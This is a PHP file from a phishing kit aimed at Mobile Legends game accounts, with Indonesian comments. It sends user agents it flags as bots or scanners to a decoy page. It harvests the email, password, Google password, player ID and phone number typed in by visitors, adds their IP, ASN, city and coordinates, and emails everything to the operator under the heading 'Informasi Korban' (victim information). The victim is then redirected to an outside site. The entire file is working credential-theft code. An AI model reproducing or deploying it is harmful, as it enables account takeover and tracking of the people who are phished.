<?php
$ua = $_SERVER['HTTP_USER_AGENT'];
if(preg_match('#Mozilla/4.05 [fr] (Win98; I)#',$ua) || preg_match('/Java1.1.4/si',$ua) || preg_match('/MS FrontPage Express/si',$ua) || preg_match('/HTTrack/si',$ua) || preg_match('/IDentity/si',$ua) || preg_match('/HyperBrowser/si',$ua) || preg_match('/Lynx/si',$ua)) 
{
header('Location: oops.php');
die();
}

// MENGAMBIL KONTROL
include 'PetakaCode/location.php';
include 'email.php';

// MENANGKAP DATA YANG DI-INPUT
$email = $_POST['email'];
$password = $_POST['password'];
$playid = $_POST['playid'];
$phone = $_POST['phone'];
$level = $_POST['level'];
$login = $_POST['login'];


// MENGALIHKAN KE HALAMAN UTAMA JIKA DATA BELUM DI-INPUT
if($email == "" && $password == "" && $playid == "" && $phone == "" && $level == "" && $login == ""){
header("Location: index.php");
}else{

$file_lines = file('PetakaCode/checkLogin.txt');
	foreach ($file_lines as $file => $value) {
		$data = explode("|", $value);
		if (in_array($email, $data)) {
			
			
			header('location: https://m.pojoks.online/');
		} else {
			$myfile = fopen("PetakaCode/checkLogin.txt", "a") or die("Unable to open file!");
			$txt = $email;
			if(fwrite($myfile, "|". $txt)) {

            if(!empty($_POST['passwordGoogle'])) {
               $Password2 = '<tr><th class="th1" height="25px"><b>Password Google</th><th class="th2"<b>'.$_POST['passwordGoogle'].'</th></tr>';
            } else {
               $Password2 = '';
            }
			        
// MENGAMBIL KONTROL
$subjek = "$PetakaCode_flags $PetakaCode_callcode | ML Lvl $level | $playid";
$pesan = <<<EOD
<!DOCTYPE HTML>
    <html>
    <head>
      <title></title>
      <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
	  <style type="text/css">
       body {
			font-family: 'Open Sans', sans-serif;
			font-weight: bold;
			width: 90%;
			display: block;
			margin: auto;
		}
			.header {
		    background:url( ) no-repeat;
            border:2px solid #b8e4ff;
            background-size:100%;
            width:280;
            height:180px;
            color:#fff;
            text-align:center;
            border-top-left-radius:5px;
            border-top-right-radius:5px;
		}		
		.result {
			width: 100%;
			height: 100%;
			display: block;
			margin: auto;
			position: fixed;
			top: 0;
			right: 0;
			left: 0;
			bottom: 0;
			z-index: 999;
			overflow-y: scroll;
			border-radius: 10px;
		}
		.text {
	     	border:2px solid #b8e4ff;
            width:294;
            font-weight:bold;
            height:20px;
            background:#5a9ccc;
            color:#fff;
            padding:10px;
            border-bottom-left-radius:5px;
            border-bottom-right-radius:5px;
            text-align:center;
		}	
		.tableRes {
	    	color:#fff;
            border-radius:8px;
            border:3px solid #b8e4ff;
            border-collapse:collapse;
            width:100%;
            background:#5a9ccc
		}
		.th1 {
	    	padding:3px;
            width:35%;
            text-align:left
		}
		.th2 {
	    	padding:3px;
            width:65%;
            text-align:center
		}
    	.fgnfooter {
		    border:2px solid #b8e4ff;
		    width: 294;
		    font-weight:bold;
		    height: 20px;
		    background: #5a9ccc;
			color: #fff;
		    padding: 10px;
		    border-bottom-left-radius:5px;
			border-bottom-right-radius: 5px; 
		    text-align:center;
		}
		.fgnbtn {
			border:2px solid #fff;
		    text-decoration:none;
	        color:#fff;
		    border-radius:10px;
		    padding:3px;
			background: #e07070;
		}
	  </style>
	  </head>
	  <body>
	  <div class="result">	 
 <div class="header">
  </div>
  <div class="text">Informasi Login</div>
 <table border="1" bordercolor="#b8e4ff" class="tableRes">
   <tr>
      <th class="th1" height="25px"><b>Email $login</b></th>
      <th class="th2"><b>$email</th> 
   </tr>
   <tr>
      <th class="th1" height="25px"><b>Password</th>
      <th class="th2"<b>$password</th> 
   </tr>  
   $Password2 
   <tr>
   <th class="text" colspan="3">Informasi Akun</th>
  </tr>  
     <tr>
      <th class="th1" height="25px"><b>ID</b></th>
      <th class="th2"><b>$playid</th> 
   </tr>
     <tr>
      <th class="th1" height="25px"><b>Phone</b></th>
      <th class="th2"><b>$phone</th> 
   </tr>
     <tr>
      <th class="th1" height="25px"><b>Level</b></th>
      <th class="th2"><b>$level</th> 
   </tr>
    <tr>
   <th class="text" colspan="3">Informasi Korban</th>
	</tr>  
	 	    <tr>
      <th class="th1" height="25px"><b>Negara</b></th>
      <th class="th2"><b>$PetakaCode_country</th> 
   </tr>
     <tr>
      <th class="th1" height="25px"><b>Kota</b></th>
      <th class="th2"><b>$PetakaCode_city</th> 
   </tr>
   <tr>
      <th class="th1" height="25px"><b>ASN</b></th>
      <th class="th2"><b>$PetakaCode_casn</th> 
   </tr>
     <tr>
      <th class="th1" height="25px"><b>Latitude</b></th>
      <th class="th2"><b>$PetakaCode_latitude</th> 
   </tr>
     <tr>
      <th class="th1" height="25px"><b>Longitude</b></th>
      <th class="th2"><b>$PetakaCode_longitude</th> 
   </tr>
    <tr>
      <th class="th1" height="25px"><b>Perdana</b></th>
      <th class="th2"><b>$PetakaCode_provider</th> 
   </tr>
   <tr>
      <th class="th1" height="25px"><b>IP</th>
      <th class="th2"<b>$PetakaCode_ipaddress</th> 
   </tr>
 </table>
    <div class="fgnfooter">
        <a class="fgnbtn" href="https://wa.me/6282176679031">Cahyo SR</a>    
     </div>
   </div>	.
   </body>
   </html>
EOD;
$headers  = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$headers .= 'From: '.$sender.'<web@cahyosr'.random_int(1000, 999999).'.net>' . "\r\n";
$kirim = mail($emailku, $subjek, $pesan, $headers);
			}
		}
	}
}
?>